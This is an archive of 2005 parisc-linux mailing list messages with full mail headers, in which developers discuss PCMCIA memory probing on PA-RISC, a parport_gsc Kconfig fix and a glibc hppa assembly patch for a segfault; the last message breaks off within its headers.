	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32020-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 05:21:33 -0700 (MST)
Original-Received: from linta.de (isilmar.linta.de [213.239.214.66])
	by free.linux.hp.com (Postfix) with ESMTP id 92CF57D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 05:21:32 -0700 (MST)
Original-Received: (qmail 17948 invoked by uid 1000); 7 Dec 2005 12:21:29 -0000
Mail-Followup-To: James Bottomley <James.Bottomley@SteelEye.com>,
	Russell King <rmk+pcmcia@arm.linux.org.uk>,
	linux-pcmcia@lists.infradead.org,
	parisc-linux@lists.parisc-linux.org,
	Kyle McMartin <kyle@parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <1133876209.3267.2.camel@mulgrave>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jrbkY2VMeSEkQb6WZHQhaXN1IGRvb4AK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23231

Hi,

On Tue, Dec 06, 2005 at 08:36:48AM -0500, James Bottomley wrote:
> On Tue, 2005-12-06 at 09:36 +0000, Russell King wrote:
> > I don't think you've fully understood what I've been saying.
> > When we try to do memory probing, we setup a mapping in the same
> > way that we setup a mapping to read the CIS from the card.
> 
> Yes, I do.  On PARISC, memory I/O ranges are directed.  If you program
> the CIS to respond outside the directed range of its parent,

Which we do not -- at least what I can see from the code.
drivers/pcmcia/rsrc_nonstatic.c:
	-> pcmcia_nonstatic_validate_mem()
	-> validate_mem()
	-> do_mem_probe()
	-> cis_readable()
	-> claim_region()
		if (s && s->cb_dev)
			parent = pci_find_parent_resource(s->cb_dev, res);
		if (!parent || request_resource(parent, res))
			=> break out
As we should.

And only if it succeeds, we read (or write) to such addresses. At least in
theory. There seems to be a bug -- either in the PARISC setup, or in the
PCMCIA code -- which triggers this HMAC. Let's find it, as _not_ doing these
checks seems to be the wrong thing to do. James, could you find out what
call exactly does this HMAC? Which kernel are you referring to? Also, maybe
a pcibios_resource_to_bus or pcibios_bus_to_resource translation is missing
somewhere?

Thanks,
	Dominik
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Wed, 07 Dec 2005 09:01:10 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1133964070.3303.4.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
	<1133876209.3267.2.camel@mulgrave>
	<20051207122129.GA31601@isilmar.linta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623947 17042 80.91.229.3 (22 Nov 2014 02:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:07 +0000 (UTC)
Cc: Russell King <rmk+pcmcia@arm.linux.org.uk>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dominik Brodowski <linux@dominikbrodowski.net>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 14:01:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 07 Dec 2005 15:01:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1676F7D6FA;
	Wed,  7 Dec 2005 07:01:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01673-04; Wed, 7 Dec 2005 07:01:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E611A7D6F6;
	Wed,  7 Dec 2005 07:01:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 537D57D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 07:01:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01673-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 07:01:41 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 83DA97D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 07:01:41 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jB7E1B203182; Wed, 7 Dec 2005 09:01:11 -0500
In-Reply-To: <20051207122129.GA31601@isilmar.linta.de>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GI7kY91weSEkXL6WZHQhaXN1IGRvbwBe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23232

On Wed, 2005-12-07 at 13:21 +0100, Dominik Brodowski wrote:
> And only if it succeeds, we read (or write) to such addresses. At least in
> theory. There seems to be a bug -- either in the PARISC setup, or in the
> PCMCIA code -- which triggers this HMAC. Let's find it, as _not_ doing these
> checks seems to be the wrong thing to do. James, could you find out what
> call exactly does this HMAC? Which kernel are you referring to? Also, maybe
> a pcibios_resource_to_bus or pcibios_bus_to_resource translation is missing
> somewhere?

Ah, well, this code has been in parisc for ages ... since I started
using my PA box as a wireless router about two years ago.  My
recollection is that it claimed to probe something in low memory as its
first printout.  Let me reverse the patch and see what happens now (I
assume the code has been updated a bit since we first had to do this).
It will take a while; I have to bring down my home network to do it and
I won't be back home until Friday.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parport_gsc unuseable
Date: Wed, 7 Dec 2005 22:34:18 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <200512072234.19116.deller@gmx.de>
References: <20051206205902.4cb1290d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623947 17047 80.91.229.3 (22 Nov 2014 02:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:07 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 21:34:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 07 Dec 2005 22:34:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ABB77D726;
	Wed,  7 Dec 2005 14:34:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05962-06; Wed, 7 Dec 2005 14:34:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6987A7D72B;
	Wed,  7 Dec 2005 14:34:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D99C17D725
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 14:34:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05966-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 14:34:23 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id D7CBE7D723
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 14:34:22 -0700 (MST)
Original-Received: (qmail invoked by alias); 07 Dec 2005 21:34:21 -0000
Original-Received: from p54AD0647.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.6.71]
	by mail.gmx.net (mp018) with SMTP; 07 Dec 2005 22:34:21 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9
In-Reply-To: <20051206205902.4cb1290d.gmsoft@tuxicoman.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PjDlY+gteSEkYr6WZHQhaXN1IGRvb0B1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23233

On Tuesday 06 December 2005 20:59, Guy Martin wrote:
> Since 2.6.12, the parport_gsc driver is not useable due to some changes in the parport driver.
> A 'select PARPORT_NOT_PC' line in the Kconfig was added to every non-pc driver but the gsc one.
> Patching the kernel with the attached fix makes the parport driver working again.

Thanks !
Applied to 2.6.15-rc5-pa3.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is this patch enough to fix: tk8.4 +glibc 2.3.5 buid
	with gcc-4.0 SEGV?
Date: Fri,  9 Dec 2005 14:29:29 +0100
Lines: 155
Approved: news@gmane.org
Message-ID: <IR8G55$53231A76143F09DD87282E8FDC5BAEE8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623947 17049 80.91.229.3 (22 Nov 2014 02:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Dec 2005 13:29:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 09 Dec 2005 14:29:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26D237D710;
	Fri,  9 Dec 2005 06:29:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06884-09; Fri, 9 Dec 2005 06:29:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 603797D711;
	Fri,  9 Dec 2005 06:29:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE06D7D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Dec 2005 06:29:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08245-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Dec 2005 06:29:34 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id DCCD77D70C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Dec 2005 06:29:33 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id jB9DTT714564; 
	Fri, 9 Dec 2005 14:29:29 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nuPrY0paeSEkPL6WZHQhaXN1IGRvb4BF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23234

Hello Carlos,

> with my atempt to merge glibc-2.3.6 with debian stuff I reach to get ri=
d of
> those "warning: inlining failed" thanks to compile option "-fno-unit-at=
-a-time
> " (as discused a year ago) and the following patch:
> --- sysdeps/hppa/Makefile.Orig  2005-12-06 19:01:00.000000000 +0100
> +++ sysdeps/hppa/Makefile       2005-12-06 19:01:57.000000000 +0100
> @@ -24,6 +24,7 @@
> 
>  ifeq ($(subdir),elf)
>  CFLAGS-rtld.c +=3D -mdisable-fpregs
> +CFLAGS-dl-reloc.c +=3D -fno-unit-at-a-time
>  sysdep-dl-routines +=3D dl-symaddr dl-fptr
>  sysdep_routines +=3D $(sysdep-dl-routines)
>  sysdep-rtld-routines +=3D $(sysdep-dl-routines)
> 
> (unfortunately it seems to fail with 2.3.5 (debian dpkg src, when rebui=
ld with
> gcc-4.0, i.e the same compiler as for 2.3.6), need to check more ...)
> 
> And fwiw it didn't help (wish8.4 still segv ;-( )
> 
> Now compare glibc 2.3.5 + gcc-3.3 with glibc 2.3.6 + gcc-4.0 here are t=
he
> regression test:
>  2.3.6 + gcc-4.0
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-regex.out]
> Error 143
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-regex2.out]
> Error 1
> 
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-cancel4.out]
> Error 1
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-cancel5.out]
> Error 1
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-cancel-static.out]
> Error 1
> make[1]: *** [linuxthreads/tests] Error 2
> make[2]: ***
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-pie1.out]
> Error 127
> 
> (I was oblige to kill tst-regex because of an endless nanosleep loop ;-=
( ).
> 
> But I had to get rid of some following debian patch because failing to =
apply:
> #cvs-localedata                # j: upstream now
> #glibc235-gcc4-cvs             # j: in upstream now
> #glibc235-gcc4-elf             # j: ?
> #glibc235-gcc4-jis0208         # j: ?
> #glibc235-binutils216-ia64
> #glibc235-gcc4-ia64-profile
> #glibc235-gcc4-ppc-procfs
> #glibc235-gcc4-arm-inline
> #glibc235-gcc4-sparc-inline
> #hurd-libpthread-indirect-loading
> #glibc235-gcc4-s390-inline
> #glibc235-execvp-fix
> #glibc235-dl-execstack
> #glibc235-localedata-sr_CS
> #glibc235-gcc4-hurd
> #glibc235-alpha-divqu
> #mips-bits-syscall
> 

mmm, I apply this patch (from cvs.p-l.org glibc) against my own acking
glibc-2.3.6 as well as dpkg libc6 2.3.5-8.1:
--- linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h   2005-11-1=
5
11:02:31.000000000 +0100
+++ linuxthreads.new/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h      
2005-06-26 15:48:38.000000000 +0200
@@ -110,14 +111,14 @@
        ldw -24(%sp), %r26                              ASM_LINE_SEP    \=

        CDISABLE                                        ASM_LINE_SEP    \=

        stw %ret0, -24(%sp) /* delay */                 ASM_LINE_SEP    \=

-       /* Restore syscall return (use arg regs) */     ASM_LINE_SEP    \=

-       ldw -24(%sp), %r26                              ASM_LINE_SEP    \=

+       /* Restore syscall return */                    ASM_LINE_SEP    \=

+       ldw -24(%sp), %ret0                             ASM_LINE_SEP    \=

        /* compare error */                             ASM_LINE_SEP    \=

        ldi NO_ERROR,%r1                                ASM_LINE_SEP    \=

        /* branch if no error */                        ASM_LINE_SEP    \=

-       cmpb,>>=3D,n %r1,%r26,L(pre_end)                  ASM_LINE_SEP   =
 \
+       cmpb,>>=3D,n %r1,%ret0,L(pre_end)                 ASM_LINE_SEP   =
 \
        LOAD_PIC(TREG)  /* cond. nullify */             ASM_LINE_SEP    \=

-       copy %r26, TREG /* save syscall return */       ASM_LINE_SEP    \=

+       copy %ret0, TREG /* save syscall return */      ASM_LINE_SEP    \=

        SYSCALL_ERROR_HANDLER                           ASM_LINE_SEP    \=

        /* make syscall res value positive */           ASM_LINE_SEP    \=

        sub %r0, TREG, TREG     /* delay */             ASM_LINE_SEP    \=

=3D=3D=3D=3D<>=3D=3D=3D=3D

and all recompile with debian stock gcc-4.0 and it seems to fix this pb o=
f
tkinfo ;-)

Is it enough?

Thanks,
    Joel

PS: with 2.3.6 I didn't reach to get read of sched_yield() pb with tst-re=
gex
but for sure not with your cvs src. I compare the dump of the 2 libpthrea=
d and
are nearly the same now. Any other idea? (librt?)=0A=0A------------------=
---------------------------------------------=0AA free anti-spam and anti=
-virus filter on all Scarlet mailboxes=0AMore info on http://www.scarlet.=
be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Stable Storage woes
Date: Sat, 10 Dec 2005 01:33:19 -0700
Lines: 121
Approved: news@gmane.org
Message-ID: <C66D65CA-8B9E-4653-82F9-84820ED23925@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: multipart/mixed;
  boundary="===============0013831168=="
X-Trace: ger.gmane.org 1416623948 17054 80.91.229.3 (22 Nov 2014 02:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2005 08:33:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 10 Dec 2005 09:33:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 525847D6C8;
	Sat, 10 Dec 2005 01:33:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13382-03; Sat, 10 Dec 2005 01:33:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EA2E7D6CA;
	Sat, 10 Dec 2005 01:33:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6AEB7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 01:33:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13192-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 01:33:43 -0700 (MST)
Original-Received: from pd5mo1so.prod.shaw.ca (unknown [24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id E2D387D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 01:33:42 -0700 (MST)
Original-Received: from pd5mr6so.prod.shaw.ca
	(pd5mr6so-qfe3.prod.shaw.ca [10.0.141.182]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IR9008Y5X3KS7A0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 10 Dec 2005 01:33:20 -0700 (MST)
Original-Received: from pn2ml3so.prod.shaw.ca ([10.0.121.147])
	by pd5mr6so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IR9008EDX3KR9J0@pd5mr6so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 10 Dec 2005 01:33:20 -0700 (MST)
Original-Received: from [10.0.1.250] ([68.147.66.103])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IR9007D0X3KD540@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 10 Dec 2005 01:33:20 -0700 (MST)
X-Mailer: Apple Mail (2.746.2)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
